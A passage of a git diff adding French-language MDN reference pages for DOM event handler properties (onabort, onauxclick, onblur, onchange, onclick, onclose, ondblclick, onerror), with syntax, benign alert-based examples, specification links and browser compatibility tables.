+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onauxclick</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onwheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Dans Gecko c'est implémenté comme <code>onmozpointerlockchange</code>, <code>onmozpointerlockerror</code>.</p>
+
+<p>[2] Dans Blink c'est implémenté comme <code>onwebkitpointerlockchange</code>, <code>onwebkitpointerlockerror</code>.</p>
+
+<p>[3] C'est implémenté après la préférence <code>dom.w3c_pointer_events.enabled</code>, par défaut à <code>false</code> (<em>faux</em>).</p>
+
+<p>[4] C'est implémenté après la préférence <code>dom.select_events.enabled</code> par défaut à <code>false</code> (<em>faux</em>), sauf sur Nightly.</p>
+</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventHandler")}}</li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/fr/web/api/globaleventhandlers/onabort/index.html b/files/fr/web/api/globaleventhandlers/onabort/index.html
new file mode 100644
index 0000000000..159cd2afff
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onabort/index.html
@@ -0,0 +1,112 @@
+---
+title: GlobalEventHandlers.onabort
+slug: Web/API/GlobalEventHandlers/onabort
+tags:
+  - API
+  - NeedContent
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/GlobalEventHandlers/onabort
+---
+<div>{{ ApiRef("HTML DOM") }}</div>
+
+<h2 id="Summary" name="Summary">Sommaire</h2>
+
+<p>Un gestionnaire d'évènement pour interrompre les événements envoyés à la fenêtre. (non disponible sur Firefox 2 ou Safari).</p>
+
+<p>Bien que le <a href="https://html.spec.whatwg.org/multipage/browsing-the-web.html#abort-a-document">standard pour l'abandon d'un chargement de document</a> soit défini, le problème HTML N° 3525 suggère que les navigateurs ne déclenchent pas pour l'instant l'événement "abort" sur une <code>window</code> qui déclencherait un appel à <code>onabort</code>.</p>
+
+<p>À FAIRE : définir ce qu'est "interrompre" : fermer la fenêtre via le gestionnaire de fenêtre ? Arrêter le chargement de la page ? Par quels moyens et pour quelles raisons (utilisateur, réseau/serveur) ? À quelle étape cela devrait-il se déclencher / être capturé ? Pour IE, onabort est seulement disponible pour les balises <code>img</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">window.onabort =<em> refFonc</em>
+</pre>
+
+<ul>
+ <li><code>refFonc</code> : référence à une fonction</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">window.onabort = function() {
+  alert("Chargement interrompu.");
+}</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<article class="approved">
+<div class="boxed translate-rendered text-content">
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+</article>
diff --git a/files/fr/web/api/globaleventhandlers/onauxclick/index.html b/files/fr/web/api/globaleventhandlers/onauxclick/index.html
new file mode 100644
index 0000000000..b341d8d415
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onauxclick/index.html
@@ -0,0 +1,90 @@
+---
+title: GlobalEventHandlers.onauxclick
+slug: Web/API/GlobalEventHandlers/onauxclick
+tags:
+  - API
+  - Expérimentale
+  - Propriété
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onauxclick
+---
+<div>{{ApiRef("HTML DOM")}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>onauxclick</strong></code> du mixin {{domxref("GlobalEventHandlers")}} est un {{domxref("EventHandler")}} pour le traitement des événements {{event("auxclick")}}.</p>
+
+<p>L'événement <code>auxclick</code> est déclenché lorsqu'un bouton non principal a été enfoncé sur un périphérique d'entrée (par exemple, la molette de la souris). Il se déclenche après les événements {{event("mousedown")}} et {{event("mouseup")}}, dans cet ordre.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Les fournisseurs de navigateurs implémentent cette propriété dans le cadre d'un plan visant à améliorer la compatibilité en ce qui concerne le comportement des boutons. Plus précisément, le comportement des événements est mis à jour afin que {{Event ("click")}} ne se déclenche que pour les clics sur le bouton principal (par exemple, le bouton gauche de la souris), tandis que {{Event ("auxclick")}} se déclenche pour le bouton non principal. Historiquement, {{Event("click")}} s'est généralement déclenché pour le clic de n'importe quel bouton d'entrée de périphérique, bien que le comportement du navigateur soit quelque peu incohérent.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>target</var>.onauxclick = <var>functionRe<em>f</em></var>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p><code>functionRef</code> est un nom de fonction ou une <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a>. La fonction reçoit un objet {{domxref("MouseEvent")}} comme seul argument. Dans la fonction, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> sera l'élément sur lequel l'événement a été déclenché.</p>
+
+<p>Un seul gestionnaire <code>onauxclick</code> peut être affecté à un objet à la fois. Vous pouvez préférer utiliser la méthode {{domxref("EventTarget.addEventListener()")}} à la place, car elle est plus flexible.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, nous définissons des fonctions pour deux gestionnaires d'événements — {{domxref("GlobalEventHandlers.onclick", "onclick")}} et <code>onauxclick</code>. Le premier modifie la couleur de l'arrière-plan du bouton, tandis que le second modifie la couleur de premier plan (texte) du bouton. Vous pouvez voir les deux fonctions en action en essayant la démo avec une souris à plusieurs boutons (<a href="https://mdn.github.io/dom-examples/auxclick/">voir en direct sur GitHub</a>; également <a href="https://github.com/mdn/dom-examples/blob/master/auxclick/index.html">voir le code source</a>).</p>
+
+<pre class="brush: js notranslate">var button = document.querySelector('button');
+var html = document.querySelector('html');
+
+function random(number) {
+  return Math.floor(Math.random() * number);
+}
+
+button.onclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  button.style.backgroundColor = rndCol;
+};
+
+button.onauxclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  button.style.color = rndCol;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Si vous utilisez une souris à trois boutons, vous remarquerez que le gestionnaire<code> onauxclick</code> est exécuté lorsque l'un des boutons non gauche de la souris est cliqué.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events','#event-type-auxclick','onauxclick')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.GlobalEventHandlers.onauxclick")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{event("auxclick")}} event</li>
+ <li>Related event handlers
+  <ul>
+   <li>{{domxref("GlobalEventHandlers.onclick")}}</li>
+   <li>{{domxref("GlobalEventHandlers.ondblclick")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/api/globaleventhandlers/onblur/index.html b/files/fr/web/api/globaleventhandlers/onblur/index.html
new file mode 100644
index 0000000000..c4d87d1e82
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onblur/index.html
@@ -0,0 +1,62 @@
+---
+title: element.onblur
+slug: Web/API/GlobalEventHandlers/onblur
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/GlobalEventHandlers/onblur
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>La propriété <strong>onblur</strong> renvoie le gestionnaire de l'évènement <code>blur</code> (perte de focus) pour l'élément courant.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<pre class="eval">element.onblur = nomFonctionUtilisateur;
+</pre>
+
+<ul>
+ <li><code>nomFonctionUtilisateur</code> est le nom de la fonction utilisateur préalablement définie, sans les parenthèses ni aucun argument. Il est également possible de déclarer une « fonction anonyme », comme :</li>
+</ul>
+
+<pre class="eval">element.onblur = function() {
+    alert("Évènement onblur détecté");
+};
+</pre>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<p>Lorsqu'une zone de saisie n'est plus active suite à une perte du « focus », une boîte de message (alert) est affichée.</p>
+
+<pre>&lt;form&gt;
+	&lt;input type="text" id="foo" value="Allo!" /&gt;
+&lt;/form&gt;
+
+&lt;script type="text/javascript"&gt;
+
+var elem = document.getElementById("foo");
+
+// Attention : afficherMessage(); ou afficherMessage(param); ne fonctionneront pas ici,
+// il doit s'agir d'une référence au nom d'une fonction et non d'un appel de cette fonction
+
+elem.onblur = afficherMessage;
+
+function afficherMessage() {
+	alert("Évènement onblur detecté!");
+}
+&lt;/script&gt;
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>L'évènement <code>blur</code> se déclenche lors de la perte de focus d'un élément.</p>
+
+<p>Microsoft Internet Explorer déclenche l'évènement <code>blur</code> sur presque tous les éléments, contrairement aux navigateurs Gecko (dont Firefox) qui ne le déclencheront que sur un nombre limité d'éléments.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>{{ DOM0() }}</p>
+
+<p>{{ languages( { "en": "en/DOM/element.onblur" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onchange/index.html b/files/fr/web/api/globaleventhandlers/onchange/index.html
new file mode 100644
index 0000000000..e0e4aadf81
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onchange/index.html
@@ -0,0 +1,36 @@
+---
+title: element.onchange
+slug: Web/API/GlobalEventHandlers/onchange
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/onchange
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <code>onchange</code> définit et renvoie le gestionnaire d'évènement <code>onChange</code> (modification) pour l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">element.onchange = code de gestion de l'évènement
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Le pseudo code suivant illustre la manière dont le gestionnaire d'évènement <code>change</code> est implémenté dans Mozilla :</p>
+<pre>  control.onfocus = focus;
+  control.onblur = blur;
+  function focus () {
+      original_value = control.value;
+  }
+
+  function blur () {
+      if (control.value != original_value)
+        control.onchange();
+  }
+</pre>
+<p>Par conséquent, vous pouvez rencontrer des comportements inattendus dans l'évènement <code>change</code> si vous modifiez la valeur du contrôle dans vos propres gestionnaires d'évènements <code>focus</code> ou <code>blur</code>. De plus, l'évènement <code>change</code> se déclenche avant l'évènement <code>blur</code>. Ce comportement n'est pas le même que celui d'Internet Explorer.</p>
+<h3 id="Specification" name="Specification">Specification</h3>
+<p>{{ DOM0() }}</p>
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-eventgroupings-htmlevents">DOM Level 2: HTML event types</a> <small>— traduction en français (non normative) : <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-events/events.html#Events-eventgroupings-htmlevents">DOM Niveau 2 Events : Les types d'événements HTML</a></small></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.onchange" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onclick/index.html b/files/fr/web/api/globaleventhandlers/onclick/index.html
new file mode 100644
index 0000000000..3d2ffb0150
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onclick/index.html
@@ -0,0 +1,68 @@
+---
+title: element.onclick
+slug: Web/API/GlobalEventHandlers/onclick
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+
+<p>La propriété <strong>onclick</strong> représente le gestionnaire d'évènement onClick de l'élément courant.</p>
+
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+
+<p><code><em>element</em>.onclick = <em>functionRef</em></code></p>
+
+<p id="Exemple">où <em>functionRef</em> est une fonction ou une expression de type <em>function. </em>Consulter la <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope">référence des fonctions</a> pour plus de détails.</p>
+
+<p>Le paramètre fourni au gestionnaire d'évènement <em>functionRef</em> lors du déclenchement de l'évènement est un objet qui représente l'évènement de click, de type {{ domxref("MouseEvent") }}.</p>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;onclick event example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+function initElement()
+{
+  var p = document.getElementById("foo");
+  // NOTE: showAlert(); ou showAlert(param); NE fonctionne PAS ici.
+  // Il faut fournir une valeur de type <em><strong>function</strong></em> (nom de fonction déclaré ailleurs ou declaration en ligne de fonction).
+  p.onclick = showAlert;
+};
+
+function showAlert()
+{
+  alert("Evènement de click détecté");
+}
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+#foo {
+border: solid blue 2px;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body onload="initElement();"&gt;
+&lt;span id="foo"&gt;Mon Span à cliquer&lt;/span&gt;
+&lt;p&gt;Cliquez sur l'élément ci-dessus.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Vous pouvez aussi utiliser la syntaxe des fonctions déclarées en ligne, anonymes ou non.</p>
+
+<pre class="brush: js">// affectation de fonction anonyme declarée en ligne
+p.onclick = function() { alert("moot!"); };
+</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p>L'évènement <code>click</code> est déclenché lorsque l'utilisateur clique sur un élément.</p>
+
+<p>Avec cette syntaxe un seul gestionnaire d'évènement click peut être assigné à un élement . Pour gérer plusieurs fonctions gestionnaires d'évènements click sur un même élément, utilisez {{ domxref("EventTarget.addEventListener()") }} qui fait partie de la spécification DOM Events.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<p>Defini en <a class="external" href="http://w3c.github.io/html/webappapis.html#dom-globaleventhandlers-onclick">HTML</a>.</p>
+
+<p>{{ languages( { "en": "en/DOM/element.onclick", "pl": "pl/DOM/element.onclick" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onclose/index.html b/files/fr/web/api/globaleventhandlers/onclose/index.html
new file mode 100644
index 0000000000..e7234b295e
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onclose/index.html
@@ -0,0 +1,47 @@
+---
+title: GlobalEventHandlers.onclose
+slug: Web/API/GlobalEventHandlers/onclose
+tags:
+  - API
+  - DOM
+  - HTML
+  - Property
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onclose
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Un gestionnaire d'évènement utilisé lorsque des évènements de fermeture sont envoyés à la fenêtre (non disponible dans Firefox 2 ou Safari).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">window.onclose = funcRef;
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><code>funcRef</code> est une fonction.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">window.onclose = resetThatServerThing;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onclose','onclose')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/globaleventhandlers/ondblclick/index.html b/files/fr/web/api/globaleventhandlers/ondblclick/index.html
new file mode 100644
index 0000000000..005a6e7264
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/ondblclick/index.html
@@ -0,0 +1,60 @@
+---
+title: element.ondblclick
+slug: Web/API/GlobalEventHandlers/ondblclick
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/GlobalEventHandlers/ondblclick
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>La propriété <b>ondblclick</b> renvoie le gestionnaire d'évènement <code>dblclick</code> de l'élément courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval">element.ondblclick = nomDeFonction;
+</pre>
+<ul>
+ <li><code>nomDeFonction</code> est le nom d'une fonction définie par l'utilisateur, sans les parenthèses ni aucun paramètre. Il peut également s'agir d'une déclaration de fonction anonyme, comme :</li>
+</ul>
+<pre class="eval">element.ondblclick = function() { alert("Évènement dblclick détecté"); };
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre>&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;ondblclick event example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function initElement() {
+ var p = document.getElementById("foo");
+ // Attention : showAlert(); ou showAlert(param); ne fonctionneront pas ici,
+ // il doit s'agir d'une référence à un nom de fonction, pas un appel de fonction.
+ p.ondblclick = showAlert;
+};
+
+function showAlert() {
+ alert("Évènement dblclick détecté")
+}
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+&lt;!--
+#foo {
+border: solid blue 2px;
+}
+--&gt;
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onload="initElement()";&gt;
+&lt;span id="foo"&gt;Mon élément&lt;/span&gt;
+&lt;p&gt;Double-cliquez sur l'élément ci-dessus.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>L'évènement <code>dblclick</code> est déclenché lorsque l'utilisateur double-clique sur un élément.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.ondblclick" } ) }}</p>
diff --git a/files/fr/web/api/globaleventhandlers/onerror/index.html b/files/fr/web/api/globaleventhandlers/onerror/index.html
new file mode 100644
index 0000000000..18d4b02aab
--- /dev/null
+++ b/files/fr/web/api/globaleventhandlers/onerror/index.html
@@ -0,0 +1,152 @@
+---
+title: GlobalEventHandlers.onerror
+slug: Web/API/GlobalEventHandlers/onerror
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+translation_of: Web/API/GlobalEventHandlers/onerror
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>Un <a href="/en-US/docs/Web/Guide/Events/Event_handlers">gestionnaire d'événement</a> pour l'événement <code><a href="/en-US/docs/Web/Events/error">error</a></code>. Des événements d'erreur sont déclenchés vers diverses cibles et pour différents types d'erreurs:</p>
+
+<ul>
+ <li>Lorsqu'une <strong>erreur de runtime JavaScript</strong> se produit (erreurs de syntaxe comprises), un évènement <code><a href="/en-US/docs/Web/Events/error">error</a></code> utilisant l'interface {{domxref("ErrorEvent")}} est envoyé à {{domxref("window")}}, et <code>window.onerror()</code> est appelé.</li>
+ <li>Lorsque le <strong>chargement d'une ressource</strong> (telle que {{HTMLElement("img")}} ou {{HTMLElement("script")}}) <strong>échoue</strong>, un événement <code><a href="/en-US/docs/Web/Events/error">error</a></code> utilisant l'interface {{domxref("Event")}} est déclenché sur l'élément qui a initié le chargement, et le gestionnaire <code>onerror()</code> de l'élément est invoqué. Ces évènements d'erreur ne remontent pas à window, mais (au moins dans FireFox) ils peuvent être gérés par une unique capture {{domxref("window.addEventListener")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Pour des raisons historiques, des arguments différents sont passés aux gestionnaires <code>window.onerror</code> et <code>element.onerror</code>.</p>
+
+<h3 id="window.onerror">window.onerror</h3>
+
+<pre><code>window.onerror = function(messageOrEvent, source, noligne, nocolonne, erreur) { ... }</code></pre>
+
+<p>Paramètres de la fonction :</p>
+
+<ul>
+ <li><code>message </code>: message d'erreur (chaîne ou objet évènement). Disponible comme <code>event</code> (sic !) dans le gestionnaire de HTML <code>onerror=""</code> et aussi comme objet évènement lors de l'envoi d'un <a href="https://developer.mozilla.org/en-US/docs/Web/API/Event">Event</a> à <code>window,</code> auquel cas les autres arguments ne seront pas fournis (au contraire de <a href="https://developer.mozilla.org/en-US/docs/Web/API/ErrorEvent">ErrorEvent</a>, qui amène le passage de l'ensemble complet des arguments à <code>window.onerror</code>, tandis que seul l'objet d'évènement d'erreur est  passé aux gestionnaires de<code> window.addEventListener('error'))</code></li>
+ <li>source : l'URL du script où l'erreur a été déclenchée (chaîne)</li>
+ <li>noligne : le numéro de ligne où l'erreur a été déclenchée (nombre)</li>
+ <li>nocolonne : le numéro de colonne où l'erreur a été déclenchée (nombre)</li>
+ <li>erreur : un <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error">Error Object</a> (objet) {{gecko_minversion_inline("31.0")}}</li>
+</ul>
+
+<h3 id="element.onerror_(et_window.addEventListener('error'))">element.onerror (et <code>window.addEventListener('error')</code>)</h3>
+
+<pre><code>element.onerror = function(event) { ... }</code></pre>
+
+<p><code>element.onerror</code> accepte une fonction avec un argument unique de type {{domxref("Event")}}.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Quand une erreur de syntaxe<strong>(?)</strong> se produit dans un script chargé à partir d'une <a href="/en-US/docs/Web/Security/Same-origin_policy">origine différente</a>, les détails de l'erreur de syntaxe ne sont pas rapportés, afin de prévenir la fuite d'information (voir {{bug("363897")}}). A la place, l'erreur est simplement reportée en tant que <code><strong>"Script error"</strong></code>. Ce comportement peut être surchargé par certains navigateurs en utilisant l'attribut <code>{{htmlattrxref("crossorigin","script")}}</code> de {{HTMLElement("script")}} et en faisant en sorte que le serveur envoie les entêtes de réponse <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> HTTP appropriés. Un contournement consiste à isoler "Script error" et à la gérer en sachant que les détails de l'erreur ne sont visibles que la console du navigateur et non accessibles en JavaScript.</p>
+
+<pre><code>window.onerror = function (msg, url, noLigne, noColonne, erreur) {
+    var chaine = msg.toLowerCase();
+    var souschaine = "script error";
+    if (chaine.indexOf(souschaine) &gt; -1){
+        alert('Script Error : voir la Console du Navigateur pour les Détails');
+    } else {
+        var message = [
+            'Message : ' + msg,
+            'URL : ' + url,
+            'Ligne : ' + noLigne,
+            'Colonne : ' + noColonne,
+            'Objet Error : ' + JSON.stringify(erreur)
+        ].join(' - ');
+
+        alert(message);
+    }
+
+    return false;
+};</code></pre>
+
+<p>Lors de l'utilisation du balisage html intégré (&lt;body onerror="alert('une erreur est survenue')&gt;...), la spécification HTML requiert que les arguments passés à <code>onerror</code> soient nommés <code>event</code>, <code>source</code>, <code>lineno</code>, <code>colno</code>, <code>error</code>. Dans les navigteurs qui n'ont pas implémenté cette obligation, ils peuvent toujours être obtenus via <code>arguments[0]</code> à <code>arguments[2]</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onerror','onerror')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Avant Firefox 14, quand le chargement d'un {{HTMLElement("script")}} échouait, <code>window.onerror</code> était invoqué avec le message <strong>"Error loading script"</strong>. Ce bug a été corrigé dans {{bug("737087")}}. A présent, <code>scriptElement.onerror</code> est invoqué à la place dans de tels cas.</p>
+
+<p>Depuis Firefox 31, les 2 derniers arguments (<code>colno</code> et <code>error</code>) ont été ajoutés, ce qui signifie que vous pouvez accéder à la trace de la pile d'une erreur de script via l'objet <code>Error</code> fourni({{bug("355430")}}).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://blog.getsentry.com/2016/01/04/client-javascript-reporting-window-onerror.html">Capture and report JavaScript errors with window.onerror (blog.getsentry.com, 2016)</a></li>
+ <li><a href="https://danlimerick.wordpress.com/2014/01/18/how-to-catch-javascript-errors-with-window-onerror-even-on-chrome-and-firefox/">How to catch JavaScript Errors with window.onerror (even on Chrome and Firefox) (danlimerick.wordpress.com, 2014)</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs_2">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<article>
+<table>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</article>
